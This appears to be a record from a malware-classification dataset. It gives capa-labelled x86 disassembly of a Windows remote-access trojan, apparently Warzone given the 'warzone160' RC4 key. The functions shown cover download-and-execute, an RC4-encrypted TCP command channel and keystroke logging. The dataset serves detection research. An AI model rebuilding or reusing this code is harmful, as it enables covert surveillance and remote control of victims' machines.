joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012c0
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x108]
push edi
mov edi, dword [ebp + 8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x311]
call fcn.0041abe0
lea eax, [ebp - 0x318]
mov dword [ebp - 0x318], 0
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.0041ae20
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x31c], 0
push ecx
push 0x10ad
push dword [ebp - 0x318]
push eax
call fcn.0041ab20
add esp, 0x18
push dword [ebp - 0x31c]
push ecx
mov ecx, esp
push 0x41f3d8
call fcn.004032c0
push ecx
push esp
call fcn.00413ac0
add esp, 4
call fcn.00413db0
push eax
call fcn.00413df0
push eax
call fcn.00414080
push eax
push 0xb4
sub esp, 8
push esp
call fcn.004139e0
add esp, 4
lea ecx, [ebp - 0x348]
call fcn.004050b0
push eax
mov ecx, edi
call fcn.00406350
lea ecx, [ebp - 0x348]
call fcn.004051a0
mov ecx, esi
call fcn.004079e0
test eax, eax
je 0x40141c
push 0x208
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00401027
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push edi
mov ecx, 0x423c10
call fcn.0040a6c0
lea ecx, [ebp - 0x320]
call fcn.0041dd60
push eax
mov ecx, edi
call fcn.00406350
lea ecx, [ebp - 0x320]
call fcn.0041dd70
lea ecx, [ebp - 0x311]
call fcn.0041b1c0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x401990
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 4]
sub esp, 0xc
push esi
push eax
call fcn.00418c50
lea eax, [ebp - 8]
push 0xa
push eax
call fcn.004036b0
add esp, 8
lea ecx, [ebp - 4]
push eax
push 0x41f414
call fcn.00403780
mov ecx, eax
call fcn.004039f0
lea ecx, [ebp - 8]
call fcn.00403ca0
mov esi, dword [ebp + 0x10]
lea ecx, [ebp + 0x10]
add esi, 4
push esi
call fcn.00403c50
lea eax, [ebp - 8]
push eax
lea ecx, [ebp + 0x10]
call fcn.00403590
push eax
lea ecx, [ebp - 4]
call fcn.004039f0
lea ecx, [ebp - 8]
call fcn.00403ca0
lea ecx, [ebp + 0x10]
call fcn.00403ca0
push esi
lea ecx, [ebp + 0x10]
call fcn.00403c50
push 0
push 0
lea ecx, [ebp - 4]
call fcn.00403320
push eax
lea ecx, [ebp + 0x10]
call fcn.00403320
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
lea ecx, [ebp + 0x10]
mov esi, eax
call fcn.00403ca0
test esi, esi
pop esi
je 0x401a3b
push 1
jmp 0x401a62
push 5
push 0
push 0
lea ecx, [ebp - 4]
call fcn.00403320
push eax
push 0x41f418
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x401a60
push 2
jmp 0x401a62
push 0
lea ecx, [ebp - 0xc]
call fcn.00404e50
mov ecx, dword [ebp + 8]
push eax
call fcn.00406350
lea ecx, [ebp - 0xc]
call fcn.00404e70
lea ecx, [ebp - 4]
call fcn.00403ca0
mov esp, ebp
pop ebp
ret
Function at 0x401c60
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp dword [eax + 4], 0
jne 0x401c9d
add eax, 8
lea ecx, [ebp + 0xc]
push eax
call fcn.00403c50
push 5
push 0
push 0
lea ecx, [ebp + 0xc]
call fcn.00403320
push eax
push 0x41f418
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp + 0xc]
pop ebp
jmp fcn.00403ca0
pop ebp
ret

Function at 0x403600
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push edi
mov edi, dword [ebp + 8]
push 0x400
push 0
push eax
call fcn.00401027
add esp, 0xc
lea eax, [ebp - 0x404]
push 0x1ff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x404]
push 0x3000
push eax
call esi
lea eax, [eax*2 + 2]
push eax
call fcn.00407d60
add esp, 8
mov dword [edi], eax
lea eax, [ebp - 0x404]
push eax
call esi
lea eax, [eax*2 + 2]
push eax
push 0
push dword [edi]
call fcn.00407f10
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x406790
Capabilities:
Initialize winsock library

Disassembly:
push esi
mov esi, ecx
call fcn.00402b70
lea ecx, [esi + 0x10]
call fcn.00402710
lea ecx, [esi + 0x30]
call fcn.00402710
push 0
lea ecx, [esi + 0x1d8]
call fcn.00414df0
lea eax, [esi + 0x38]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [esi + 0xc], 0xffffffff
mov eax, esi
mov dword [esi + 0x18], 0
mov dword [esi + 0x24], 0
pop esi
ret
Function at 0x4067e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp + 8]
mov dword [ebp - 4], 0
push eax
mov edi, ecx
call fcn.004031f0
mov eax, dword [ebp + 0xc]
lea ecx, [edi + 0x1d8]
mov dword [edi + 4], eax
call fcn.00414eb0
push 0x20
lea eax, [ebp - 0x24]
push 0
push eax
call fcn.00407f10
add esp, 0xc
mov dword [ebp - 0x20], 0
lea eax, [ebp - 4]
mov dword [ebp - 0x1c], 1
lea ecx, [ebp + 8]
mov dword [ebp - 0x18], 6
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call fcn.00402bf0
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4068ae
mov eax, dword [ebp - 4]
push 0
push 1
push 2
mov esi, dword [eax + 0x18]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0xc], eax
cmp eax, 0xffffffff
je 0x4068ae
mov eax, dword [esi + 4]
lea esi, [edi + 0x1c8]
mov dword [edi + 0x1cc], eax
mov eax, 2
mov word [esi], ax
movzx eax, word [edi + 4]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [edi + 0x1ca], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
push esi
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4068c3
mov dword [edi + 0xc], eax
lea ecx, [ebp + 8]
xor esi, esi
call fcn.00403280
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea ecx, [edi + 0x1d8]
mov dword [edi + 8], 1
call fcn.00414ed0
lea ecx, [ebp + 8]
mov esi, 1
call fcn.00403280
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4068f0
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x103c
call fcn.004010b0
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x1010], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x100c], ecx
push esi
push edi
cmp eax, 0xffffffff
je 0x406b6f
push 4
lea ecx, [ebp - 0x1024]
mov dword [ebp - 0x1024], 0xea60
push ecx
push 0x1006
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x1000
lea eax, [ebp - 0x1004]
push 0
push eax
call fcn.00401027
add esp, 0xc
lea ecx, [ebp - 0x1008]
push str.warzone160
call fcn.00402bb0
push eax
lea ecx, [ebp - 0x1034]
call fcn.00402760
lea ecx, [ebp - 0x1008]
call fcn.00403280
lea ecx, [ebp - 0x1020]
call fcn.00402710
mov ecx, dword [ebp - 0x100c]
nop word [eax + eax]
mov edi, 0xfffffffe
or esi, 0xffffffff
mov dword [ebp - 0x1008], edi
mov ebx, 0x1000
jmp 0x4069bb
mov ecx, dword [ebp - 0x100c]
cmp esi, 0xffffffff
je 0x4069cc
mov eax, esi
sub eax, edi
cmp eax, 0x1000
cmovl ebx, eax
push 0
push ebx
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x406b4e
cmp esi, 0xffffffff
jne 0x406a7b
cmp edi, 0xc
jl 0x406a7b
lea ecx, [ebp - 0x102c]
call fcn.00402710
push 0xc
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0x102c]
call fcn.004028e0
sub esp, 8
lea eax, [ebp - 0x102c]
mov ecx, esp
push eax
call fcn.004028b0
sub esp, 8
lea eax, [ebp - 0x1034]
mov ecx, esp
push eax
call fcn.004028b0
lea eax, [ebp - 0x103c]
push eax
call fcn.004083a0
add esp, 0x14
lea ecx, [ebp - 0x103c]
push 4
call fcn.00402a10
lea ecx, [ebp - 0x103c]
mov dword [ebp - 0x1008], 0
lea esi, [eax + 0xc]
call fcn.00402b50
lea ecx, [ebp - 0x102c]
call fcn.00402b50
mov ecx, dword [ebp - 0x100c]
lea eax, [ebp - 0x1004]
add dword [ebp - 0x1008], edi
push edi
push eax
lea ecx, [ecx + 0x10]
call fcn.004028e0
mov edi, dword [ebp - 0x1008]
cmp edi, esi
jl 0x4069b5
mov esi, dword [ebp - 0x100c]
push edi
lea ecx, [esi + 0x10]
call fcn.00402a00
push eax
lea ecx, [ebp - 0x1020]
call fcn.004028e0
sub esp, 8
lea eax, [ebp - 0x1020]
mov ecx, esp
push eax
call fcn.004028b0
sub esp, 8
lea eax, [ebp - 0x1034]
mov ecx, esp
push eax
call fcn.004028b0
lea eax, [ebp - 0x1018]
push eax
call fcn.004083a0
add esp, 0x14
lea ecx, [ebp - 0x1018]
call fcn.00402a00
lea ecx, [esi + 0x10]
call fcn.004029d0
push edi
lea ecx, [ebp - 0x1018]
call fcn.00402a00
push eax
lea ecx, [esi + 0x10]
call fcn.004028e0
lea ecx, [ebp - 0x1020]
call fcn.004029d0
lea ecx, [ebp - 0x1018]
call fcn.004029d0
push dword [ebp - 0x1010]
mov ecx, esi
call fcn.00406e90
lea ecx, [ebp - 0x1018]
call fcn.00402b50
mov ecx, esi
jmp 0x4069a0
mov ecx, dword [ebp - 0x1010]
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x1020]
call fcn.00402b50
lea ecx, [ebp - 0x1034]
call fcn.00402b50
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret 4
Function at 0x406be0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 0xffffffff
jne 0x406bfc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push str.warzone160
lea ecx, [ebp - 4]
call fcn.00402bb0
push eax
lea ecx, [ebp - 0x14]
call fcn.00402760
lea ecx, [ebp - 4]
call fcn.00403280
mov esi, dword [ebp + 8]
sub esp, 8
mov ecx, esp
push esi
call fcn.004028b0
sub esp, 8
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.004028b0
lea eax, [ebp - 0xc]
push eax
call fcn.004083a0
add esp, 0x14
lea ecx, [ebp - 0xc]
push 0
push dword [esi + 4]
call fcn.00402a00
push eax
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea ecx, [ebp - 0xc]
cmp eax, 0xffffffff
setne bl
call fcn.00402b50
lea ecx, [ebp - 0x14]
call fcn.00402b50
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x407bd0
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x407c0f
mov cl, byte [esi + 1]
inc esi
test cl, cl
je 0x407c00
mov al, cl
nop
mov cl, al
cmp al, 0x22
je 0x407c00
mov cl, byte [esi + 1]
inc esi
mov al, cl
test cl, cl
jne 0x407bf0
lea eax, [esi + 1]
cmp cl, 0x22
cmovne eax, esi
mov esi, eax
mov al, byte [esi]
jmp 0x407c1b
cmp al, 0x20
jle 0x407c1b
mov al, byte [esi + 1]
inc esi
cmp al, 0x20
jg 0x407c13
test al, al
je 0x407c2c
nop
cmp al, 0x20
jg 0x407c2c
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x407c20
lea eax, [ebp - 0x44]
mov dword [ebp - 0x18], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00407cf0
push 0x426030
push section..CRT
call fcn.00407cc0
movzx eax, word [ebp - 0x14]
add esp, 8
test byte [ebp - 0x18], 1
jne 0x407c63
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00407d10
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408020
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov eax, 0xaaaaaaab
push edi
mov edi, dword [ebp + 0x10]
push 0x3000
lea ecx, [esi + 2]
mul ecx
shr edx, 1
shl edx, 2
push edx
mov dword [edi], edx
call fcn.00407d40
mov ebx, eax
add esp, 8
xor eax, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x408120
test esi, esi
je 0x4080ef
mov edi, ebx
mov ebx, dword [ebp + 8]
cmp eax, esi
jae 0x40808d
movzx edx, byte [eax + ebx]
inc eax
cmp eax, esi
jae 0x40808f
movzx ecx, byte [eax + ebx]
inc eax
cmp eax, esi
jae 0x408091
movzx esi, byte [eax + ebx]
inc eax
mov dword [ebp - 4], esi
mov esi, dword [ebp + 0xc]
jmp 0x408098
xor edx, edx
xor ecx, ecx
mov dword [ebp - 4], 0
shl edx, 8
add edx, ecx
shl edx, 8
add edx, dword [ebp - 4]
mov ecx, edx
shr ecx, 0x12
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi], cl
mov ecx, edx
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + 1], cl
mov ecx, edx
shr ecx, 6
and edx, 0x3f
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + 2], cl
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + 3], cl
add edi, 4
cmp eax, esi
jb 0x40806e
mov ebx, dword [ebp - 8]
mov edi, dword [ebp + 0x10]
mov eax, 0xaaaaaaab
xor ecx, ecx
mul esi
shr edx, 1
lea eax, [edx + edx*2]
sub esi, eax
mov edx, dword [esi*4 + 0x423040]
test edx, edx
jle 0x40811e
nop word [eax + eax]
mov eax, dword [edi]
sub eax, ecx
inc ecx
mov byte [eax + ebx - 1], 0x3d
cmp ecx, edx
jl 0x408110
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4083a0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x110], eax
lea eax, [ebp + 0x14]
push eax
call fcn.004028b0
xor eax, eax
nop dword [eax]
mov byte [ebp + eax - 0x104], al
inc eax
cmp eax, 0x100
jl 0x4083d0
mov eax, dword [ebp + 0x10]
lea ecx, [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x108], eax
call fcn.00402a00
mov ecx, eax
xor edi, edi
mov dword [ebp - 0x10c], ecx
xor esi, esi
nop
mov eax, esi
mov bl, byte [ebp + esi - 0x104]
cdq
idiv dword [ebp - 0x108]
movzx eax, byte [edx + ecx]
add edi, eax
movzx ecx, bl
add edi, ecx
and edi, 0x800000ff
jns 0x40842b
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov ecx, dword [ebp - 0x10c]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], bl
cmp esi, 0x100
jl 0x408400
mov ebx, dword [ebp + 0x18]
lea ecx, [ebp + 0x14]
call fcn.00402a00
xor esi, esi
mov dword [ebp - 0x108], eax
xor edi, edi
test ebx, ebx
jle 0x4084dc
nop dword [eax + eax]
inc esi
and esi, 0x800000ff
jns 0x408481
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [ebp + esi - 0x104]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x40849d
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x104]
dec ebx
mov byte [ebp + esi - 0x104], al
mov byte [ebp + edi - 0x104], cl
movzx eax, byte [ebp + esi - 0x104]
mov ecx, dword [ebp - 0x108]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x104]
xor byte [ecx], al
inc ecx
mov dword [ebp - 0x108], ecx
test ebx, ebx
jg 0x408470
mov ecx, dword [ebp - 0x110]
lea eax, [ebp + 0x14]
push eax
call fcn.004028b0
lea ecx, [ebp - 0x118]
call fcn.00402b50
lea ecx, [ebp + 0xc]
call fcn.00402b50
lea ecx, [ebp + 0x14]
call fcn.00402b50
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x110]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x409e20
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], 0x67452301
mov dword [ebp - 0x5c], 0xefcdab89
mov dword [ebp - 0x58], 0x98badcfe
mov dword [ebp - 0x54], 0x10325476
mov dword [ebp - 0x50], 0xc3d2e1f0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
test edi, edi
je 0x409e90
push 1
lea eax, [ebx + esi]
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.00409bf0
inc esi
add esp, 0xc
cmp esi, edi
jb 0x409e76
mov eax, dword [ebp - 0x64]
lea ecx, [ebp - 0x60]
push ecx
push eax
call fcn.00409ca0
mov eax, dword [ebp - 0x64]
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
pop esi
mov byte [eax + 0x14], 0
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x409f10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x3000
push 0x14
mov edi, ecx
mov dword [ebp - 4], 0
call fcn.00407d60
mov esi, dword [ebp + 0xc]
mov ebx, eax
add esp, 8
mov dword [ebp - 8], ebx
mov ecx, dword [esi + 4]
mov dword [ebx + 0xc], ecx
lea ecx, [esi + 8]
push ecx
lea ecx, [ebx + 0x10]
call fcn.00403b40
mov eax, dword [ebp + 8]
lea ecx, [edi + 0x10]
mov dword [ebx + 4], eax
mov dword [ebx], edi
mov eax, dword [esi + 4]
mov dword [ebp - 0x10], eax
call fcn.00414eb0
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x40a210
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 8]
cmp eax, dword [edi + 4]
jb 0x40a01c
lea ebx, [eax + 1]
xor ecx, ecx
imul ebx, dword [edi + 0xc]
mov edx, 0xc
mov eax, ebx
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00407fa0
add esp, 4
test eax, eax
je 0x409fbf
mov dword [eax], ebx
lea esi, [eax + 4]
jmp 0x409fc1
xor esi, esi
mov eax, dword [edi + 8]
xor edx, edx
test eax, eax
je 0x409ff1
xor ecx, ecx
nop dword [eax]
mov eax, dword [edi]
lea ecx, [ecx + 0xc]
inc edx
movq xmm0, qword [eax + ecx - 0xc]
movq qword [ecx + esi - 0xc], xmm0
mov eax, dword [eax + ecx - 4]
mov dword [ecx + esi - 4], eax
mov eax, dword [edi + 8]
cmp edx, eax
jb 0x409fd0
mov ecx, dword [edi]
test ecx, ecx
je 0x40a014
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
lea eax, [eax + eax*2]
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00407fd0
mov eax, dword [edi + 8]
add esp, 8
mov dword [edi + 4], ebx
mov ebx, dword [ebp - 8]
mov dword [edi], esi
movq xmm0, qword [ebp - 0x14]
lea edx, [eax + eax*2]
mov eax, dword [edi]
lea ecx, [edi + 0x10]
movq qword [eax + edx*4], xmm0
mov dword [eax + edx*4 + 8], ebx
inc dword [edi + 8]
call fcn.00414ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40a050
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
mov ebx, ecx
push esi
push edi
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0xc], eax
call fcn.00414eb0
mov eax, dword [ebx + 8]
xor edi, edi
mov dword [ebp - 4], edi
test eax, eax
je 0x40a0b6
xor esi, esi
cmp edi, eax
mov dword [ebp - 8], esi
setb al
movzx eax, al
push eax
call fcn.00407b80
mov eax, dword [ebx]
add esp, 4
movq xmm0, qword [eax + esi]
lea esi, [edi + 1]
mov eax, dword [ebp + 0xc]
movq qword [ebp - 0x1c], xmm0
cmp dword [ebp - 0x18], eax
je 0x40a0c9
mov eax, dword [ebx + 8]
mov edi, esi
mov dword [ebp - 4], esi
mov esi, dword [ebp - 8]
add esi, 0xc
mov dword [ebp - 8], esi
cmp edi, eax
jb 0x40a07b
mov ecx, dword [ebp - 0xc]
call fcn.00414ed0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp edi, dword [ebx + 8]
setb al
movzx eax, al
push eax
call fcn.00407b80
mov eax, dword [ebx]
lea edi, [edi + edi*2]
movq xmm0, qword [eax + edi*4]
push dword [eax + edi*4 + 8]
movq qword [ebp - 0x1c], xmm0
call fcn.00407e60
mov eax, dword [ebp - 4]
cmp eax, dword [ebx + 8]
setb al
movzx eax, al
push eax
call fcn.00407b80
mov eax, dword [ebx]
add esp, 0xc
movq xmm0, qword [eax + edi*4]
push 0
movq qword [ebp - 0x1c], xmm0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebx + 8]
setb cl
movzx ecx, cl
push ecx
call fcn.00407b80
mov eax, dword [ebx + 8]
add esp, 4
cmp esi, eax
ja 0x40a15e
lea edx, [esi + esi*2]
shl edx, 2
mov ecx, dword [ebx]
inc esi
add ecx, edx
add edx, 0xc
movq xmm0, qword [ecx]
movq qword [ecx - 0xc], xmm0
mov eax, dword [ecx + 8]
mov dword [ecx - 4], eax
mov eax, dword [ebx + 8]
cmp esi, eax
jbe 0x40a140
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x40a1a7
push 3
lea ecx, [ebp - 0x10]
call fcn.00402710
push eax
push 0
push 0
push 0
push 0
push ecx
mov ecx, esp
call fcn.00403290
push dword [ebp + 0xc]
lea ecx, [ebp - 0x40]
call fcn.00404ef0
mov ecx, dword [ebp + 8]
push eax
call fcn.00406350
lea ecx, [ebp - 0x40]
call fcn.00404fd0
lea ecx, [ebp - 0x10]
call fcn.00402b50
lea ecx, [ebx + 0x10]
call fcn.00414ed0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40a6c0
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
mov esi, ecx
lea ecx, [ebp - 0x18]
push edi
call fcn.00414db0
lea ecx, [ebp - 0x18]
movups xmm0, xmmword [eax]
movups xmmword [esi + 0xa28], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0xa38], xmm0
call fcn.00414dc0
lea ecx, [esi + 0xa28]
call fcn.00414dd0
mov eax, dword [ebp + 8]
push 0
mov dword [esi + 0xa50], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp dword [ebp + 0xc], 0
mov dword [0x424dbc], esi
je 0x40a755
lea eax, [esi + 0xa78]
push eax
push 0
push esi
push 0x40b200
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xa74], eax
lea ecx, [esi + 0xa28]
mov dword [esi + 0xa14], 1
call fcn.00414de0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0xa74]
test eax, eax
je 0x40a774
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0xa74]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 0xa70]
mov dword [esi + 0xa74], 0
push eax
push 0
push esi
push 0x40aed0
push 0
push 0
mov dword [esi], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esi + 0xa28]
mov dword [esi + 0xa6c], eax
call fcn.00414de0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x40a850
Capabilities:
Create thread
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0xa28]
call fcn.00414dd0
cmp dword [esi], 0
je 0x40a8b2
mov eax, dword [esi + 0xa6c]
test eax, eax
je 0x40a883
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0xa6c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esi + 0xa78]
mov dword [esi + 0xa6c], 0
push eax
push 0
push esi
push 0x40b200
push 0
push 0
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xa74], eax
lea ecx, [esi + 0xa28]
call fcn.00414de0
pop edi
pop esi
ret 4

Function at 0x40b540
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00401027
movzx edi, byte [ebp + 8]
add esp, 0xc
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov esi, eax
lea eax, [edi - 8]
cmp eax, 0xd6
ja case.0x40b58b.10
movzx ecx, byte [eax + 0x40b5e0]
jmp dword [ecx*4 + 0x40b5d8]
or esi, 0x100
push edi
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 1
mov byte [ebp - 0x105], al
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x105]
push eax
push esi
push edi
call dword [sym.imp.USER32.dll_ToUnicode]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x104]
pop edi
xor ecx, ebp
pop esi
call fcn.00401000
mov esp, ebp
pop ebp
ret